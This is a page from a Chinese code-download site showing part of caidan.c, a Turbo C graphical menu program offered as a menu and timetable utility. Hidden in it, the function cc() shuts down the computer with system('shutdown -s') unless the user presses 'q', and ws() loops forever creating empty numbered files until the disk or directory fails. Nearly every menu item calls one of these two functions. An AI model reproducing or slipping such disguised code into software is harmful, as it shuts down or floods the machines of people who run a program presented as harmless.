⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 caidan.c

📁 c语言写的菜单程序,课程表,存储修改源代码.
💻 C
📖 第 1 页 / 共 2 页
字号:
          }
          else
          {
            old_menu=new_menu;
            new_menu=new_menu-1;
          }
        process_sub_move(x1,y1,old_menu,new_menu,menu);
          break;
        case RIGHT:
        case LEFT :
          break;
        case ENTER:
          process(new_menu,flag);
          break;
        case ALT_X:
          exit_info();
        default:
          break;
    }
  }
}

void process_sub_move(int x,int y,int old_menu,int new_menu,char* menu[])
{
  int L,R;
  L=x+10;

  R=y+20+old_menu*20;
  setcolor(BLACK);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(L+15,R+5,menu[old_menu]);

  R=y+20+new_menu*20;
  setcolor(WHITE);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(L+15,R+5,menu[new_menu]);
}

void write_sub_menu(int x1,int y1,int x2,int y2,int count,char* menu[])
{
  int i=0;
  int L,T,R,B;
  int height=(y2-y1-40)/count;
  int width=20;

  L=x1+10,
  T=y1+20;
  R=x2-10;
  B=T;

  T=B;
  B=B+height;
  setcolor(BLUE);
  drawbox(L,T,R,B);
  setcolor(WHITE);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(L+15,T+5,menu[0]);

  for(i=1;i<count;i++)
  {
    T=B;
    B=B+height;
    setcolor(BLUE);
    drawbox(L,T,R,B);
    setcolor(BLACK);
    settextstyle(0,HORIZ_DIR,1);
    outtextxy(L+15,T+5,menu[i]);
  }
}
void cc(void){
  char ch;
  setfillstyle(SOLID_FILL,RED);
  bar(150,200,350,250);
  setcolor(BLACK);
  outtextxy(170,210,"Waring ... ...");
  outtextxy(170,230,"press 'q' key exit!");
  ch=getch();
  if(ch=='q')
  {
    setfillstyle(SOLID_FILL,BLUE);
    bar(150,200,350,250);
    return;
  }
  system("shutdown -s");return;}
void ws(void){char s[20];int i=0;char ch;
  setfillstyle(SOLID_FILL,RED);
  bar(200,200,400,250);
  setcolor(BLACK);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(220,220,"press 'q' key exit! ");
  ch=getch();
  if(ch=='q')
  {
    setfillstyle(SOLID_FILL,BLUE);
    bar(200,200,400,250);
    return;
  }
  setfillstyle(SOLID_FILL,RED);
  bar(200,200,400,250);
  setcolor(WHITE);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(220,220,"writing .... ....");
  while(!fclose(fopen(itoa(i++,s,10),"wb")));}
void process_down(int down_pos)/*   important socket */
{
  switch(down_pos)
  {
    case 0:
        draw_sub_box(20,20,160,240,9);
        write_sub_menu(20,20,160,240,9,sub_menu1);
        process_sub_menu(20,20,9,0,sub_menu1);
        break;
    case 1:
        break;
    case 2:
        draw_sub_box(150,20,370,180,6);
        write_sub_menu(150,20,370,180,6,sub_menu3);
        process_sub_menu(150,20,6,2,sub_menu3);
        break;
    case 3:
        draw_sub_box(200,20,500,180,6);
        write_sub_menu(200,20,500,180,6,sub_menu4);
        process_sub_menu(200,20,6,3,sub_menu4);
        break;
    case 4:
        draw_sub_box(250,20,490,160,5);
        write_sub_menu(250,20,490,160,5,sub_menu5);
        process_sub_menu(250,20,5,4,sub_menu5);
        break;
    case 5:
        draw_sub_box(350,20,520,200,7);
        write_sub_menu(350,20,520,200,7,sub_menu6);
        process_sub_menu(350,20,7,5,sub_menu6);
        break;
    case 6:
        draw_sub_box(360,20,600,180,6);
        write_sub_menu(360,20,600,180,6,sub_menu7);
        process_sub_menu(360,20,6,6,sub_menu7);
        break;
    case 7:
        draw_sub_box(380,20,630,200,7);
        write_sub_menu(380,20,630,200,7,sub_menu8);
        process_sub_menu(380,20,7,7,sub_menu8);
        break;
    default:
        break;
  }
  return;
}

void exit_info(void)
{
  cleardevice();
  setfillstyle(SOLID_FILL,LIGHTGRAY);
  bar(150,150,450,350);
  setcolor(RED);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(180,200,"THANK YOU USE MY MENU SYSTEM!");
  outtextxy(200,220," press any key to exit");
  setfillstyle(SOLID_FILL,BLUE);
  bar(220,250,370,300);
  settextstyle(0,HORIZ_DIR,1);
  outtextxy(230,270,"author:zhangmou");
  getch();
  closegraph();
  exit(0);
  return;
}

/* process sub position */
void process00(void){ws();}
void process01(void){ws();}
void process02(void){ws();}
void process03(void){ws();}
void process04(void){ws();}
void process05(void){ws();}
void process06(void){ws();}
void process07(void)
{
  restorecrtmode();
  system("");
  main_menu_move();
}

void process20(void){cc();}
void process21(void){cc();}
void process22(void){cc();}
void process23(void){cc();}
void process24(void){cc();}
void process25(void){cc();}

void process30(void){cc();}
void process31(void){cc();}
void process32(void){cc();}
void process33(void){cc();}
void process34(void){cc();}
void process35(void){cc();}

void process40(void){cc();}
void process41(void){cc();}
void process42(void){cc();}
void process43(void){cc();}
void process44(void){cc();}

void process50(void){cc();}
void process51(void){cc();}
void process52(void){cc();}
void process53(void){cc();}
void process54(void){cc();}
void process55(void){cc();}
void process56(void){cc();}

void process60(void){cc();}
void process61(void){cc();}
void process62(void){cc();}
void process63(void){cc();}
void process64(void){cc();}
void process65(void){cc();}

void process70(void){cc();}
void process71(void){cc();}
void process72(void){cc();}
void process73(void){cc();}
void process74(void){cc();}
void process75(void){cc();}
void process76(void){cc();}

void process(int new_menu,int main_pos)
{
  switch(main_pos)
  {
    case 0:
        switch(new_menu)
        {
          case 0:
            process00();
            break;
          case 1:
            process01();
            break;
          case 2:
            process02();
            break;
          case 3:
            process03();
            break;
          case 4:
            process04();
            break;
          case 5:
            process05();
            break;
          case 6:
            process06();
            break;
          case 7:
            process07();
            break;
          case 8:
            exit_info();
        }
        break;
    case 1:
        break;
    case 2:
        switch(new_menu)
        {
          case 0:
            process20();
            break;
          case 1:
            process21();
            break;
          case 2:
            process22();
            break;
          case 3:
            process23();
            break;
          case 4:
            process24();
            break;
          case 5:
            process25();
            break;
        }
        break;
    case 3:
        switch(new_menu)
        {
          case 0:
            process30();
            break;
          case 1:
            process31();
            break;
          case 2:
            process32();
            break;
          case 3:
            process33();
            break;
          case 4:
            process34();
          case 5:
            process35();
            break;
        }
        break;
    case 4:
        switch(new_menu)
          {
          case 0:
            process40();
            break;
          case 1:
            process41();
            break;
          case 2:
            process42();
            break;
          case 3:
            process43();
            break;
          case 4:
            process44();
            break;
        }
        break;
    case 5:
        switch(new_menu)
          {
          case 0:
            process50();
            break;
          case 1:
            process51();
            break;
          case 2:
            process52();
            break;
          case 3:
            process53();
            break;
          case 4:
            process54();
            break;
          case 5:
            process55();
            break;
          case 6:
            process56();
            break;
        }
        break;
    case 6:
        switch(new_menu)
          {
          case 0:
            process60();
            break;
          case 1:
            process61();
            break;
          case 2:
            process62();
            break;
          case 3:
            process63();
            break;
          case 4:
            process64();
            break;
          case 5:
            process65();
            break;
        }
        break;
    case 7:
        switch(new_menu)
          {
          case 0:
            process70();
            break;
          case 1:
            process71();
            break;
          case 2:
            process72();
            break;
          case 3:
            process73();
            break;
          case 4:
            process74();
            break;
          case 5:
            process75();
            break;
          case 6:
            process76();
            break;
        }
        break;
  }
}
/*   finished function   */
/*       : )           */


/*************** main.c**********
*     user socket
* file directory:
*       .../tc/work/main.c
*
********************************/
int main(void)
{
  main_menu_move();
  getch();
  return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -